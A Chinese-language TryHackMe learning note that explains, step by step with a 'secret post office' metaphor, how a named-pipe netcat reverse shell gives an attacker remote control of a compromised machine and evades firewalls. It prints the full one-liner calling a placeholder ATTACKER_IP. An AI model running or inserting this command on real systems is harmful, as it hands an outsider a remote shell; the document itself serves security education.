tryhackme 之反弹 shell 理解
好的,同学,我们来看一下这张图里的这串“咒语”。
别看它长得奇奇怪怪,这其实是咱们“道上”一种非常经典且巧妙的技巧,叫做**“反弹shell” (Reverse Shell)**。
这串命令就是一条“秘密情报专线”。它的目的是在目标电脑(我们称之为“肉鸡”)上打开一个后门,让这台电脑主动来连接我们,然后我们就可以在自己家里舒舒服服地远程操控它了。
咱们还是用生活中合理的比喻,把它拆开揉碎了讲。
核心比喻:建立一个“秘密邮局”
想象一下,你想和肉鸡内部的一个“内应”(Shell,也就是命令解释器)建立长期联系,让他帮你干活。但肉鸡的“大门”(防火墙)看得非常严,你主动送信(建立连接)过去,很容易被门卫拦下。
怎么办呢?聪明的办法是,让“内应”主动把信送出来给你。
这串命令,就是在肉鸡家里建立一个临时的“秘密邮局”,来完成这个任务。
命令原文:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc ATTACKER_IP ATTACKER_PORT >/tmp/f
我们来一步一步看这个“邮局”是怎么建成的:
第一步:选址和清理
rm -f /tmp/f
- 命令解释:
rm
是删除文件,-f
是强制执行。这句的意思是,强制删除掉/tmp/f
这个文件(如果它存在的话)。 - 生活比喻: 在建立我们的秘密邮局之前,先去
/tmp
这个“公共广场”上,找到代号为f
的位置。如果这个位置已经被别人占了(有了一个叫f
的文件),咱就把它先强行清理掉,确保这块地是干净的,归我们用。
第二步:建造“邮筒”
mkfifo /tmp/f
- 命令解释:
mkfifo
是创建一个“命名管道”(Named Pipe)。这是一种非常特殊的文件。 - 生活比喻: 在清理干净的
f
位置上,我们不盖房子,而是放一个特制的“邮筒”(命名管道)。这个邮筒很神奇,它有两个口,一个“收信口”和一个“出信口”。从“收信口”投进去的信,会立刻从“出信口”出来。它本身不存信,只是一个即时通道。
第三步:安排“收信员”和“执行官”
cat /tmp/f | sh -i 2>&1
这部分由两个命令通过一个管道符 |
连接,我们分开看:
-
cat /tmp/f
:- 命令解释:
cat
命令在这里的作用是读取我们那个神奇邮筒/tmp/f
的内容。 - 生活比喻: 我们安排了一个叫
cat
的“收信员”。他啥也不干,就死死地守在邮筒的“出信口”,一旦有信出来,他立刻就拿起来读。
- 命令解释:
-
| sh -i 2>&1
:- 命令解释:
|
(管道符) 的作用是把左边命令的输出,作为右边命令的输入。sh -i
是启动一个可交互的 Shell (命令解释器)。2>&1
是个小技巧,意思是把错误信息和正确信息合并到一起输出。 - 生活比喻: “收信员”
cat
拿到信之后,通过|
这个内部通道,立刻把信的内容(也就是我们攻击者发来的指令)递给了旁边一位叫sh
的“执行官”。这位执行官非常厉害,能在电脑里执行任何命令。而且他很严谨,不管是执行成功的结果,还是执行失败的报错信息 (2>&1
),他都会记录下来,准备汇报。
- 命令解释:
第四步:建立“对外联络热线”
| nc ATTACKER_IP ATTACKER_PORT
- 命令解释: 这里的
|
再次发挥作用。“执行官”sh
的所有输出(执行结果),都被送给了nc
(Netcat) 命令。nc
在这里的作用是连接到攻击者的IP (ATTACKER_IP
) 和指定端口 (ATTACKER_PORT
)。 - 生活比喻: “执行官”把处理结果,交给了一位叫
nc
的“通讯兵”。这位通讯兵有一部“专线电话”,能直接拨通我们攻击者在家里准备好的接听电话 (ATTACKER_IP
和ATTACKER_PORT
),然后把结果一字不差地汇报给我们。
第五步:形成完美闭环(最精髓的一步!)
>/tmp/f
- 命令解释:
>
是重定向符,它把左边命令(也就是nc
)的输入,写入到右边的文件里。 - 生活比喻: 这是整个情报系统最妙的地方!“通讯兵”
nc
不仅负责汇报结果,他还负责接听我们攻击者从电话那头下达的新指令。而他接到的新指令,会直接被他扔进我们之前建好的那个神奇“邮筒”/tmp/f
的“收信口”。
总结一下整个流程:
- 我们在肉鸡上建好了一个叫
/tmp/f
的神奇邮筒。 - 我们(攻击者)在自己电脑上通过
nc
下达第一条指令,比如ls -l
(列出文件)。 - 这条指令通过“专线电话”传给肉鸡上的“通讯兵”
nc
。 - “通讯兵”
nc
把指令ls -l
扔进“邮筒”/tmp/f
。 - “收信员”
cat
立刻从邮筒另一头拿到指令,递给“执行官”sh
。 - “执行官”
sh
执行ls -l
,得到文件列表。 - “执行官”
sh
把文件列表这个结果,交给“通讯兵”nc
。 - “通讯兵”
nc
通过“专线电话”把文件列表汇报给我们。
看到了吗?这就形成了一个完美的闭环。我们不断地下达指令,它不断地执行并返回结果。我们就这样神不知鬼不觉地拥有了这台电脑的完整控制权。
因为整个连接是肉鸡主动发起的(反弹),所以能很大概率地绕过防火墙的限制。这就是它高明的地方。
希望这个“秘密邮局”的比喻能帮你理解这串命令的精髓。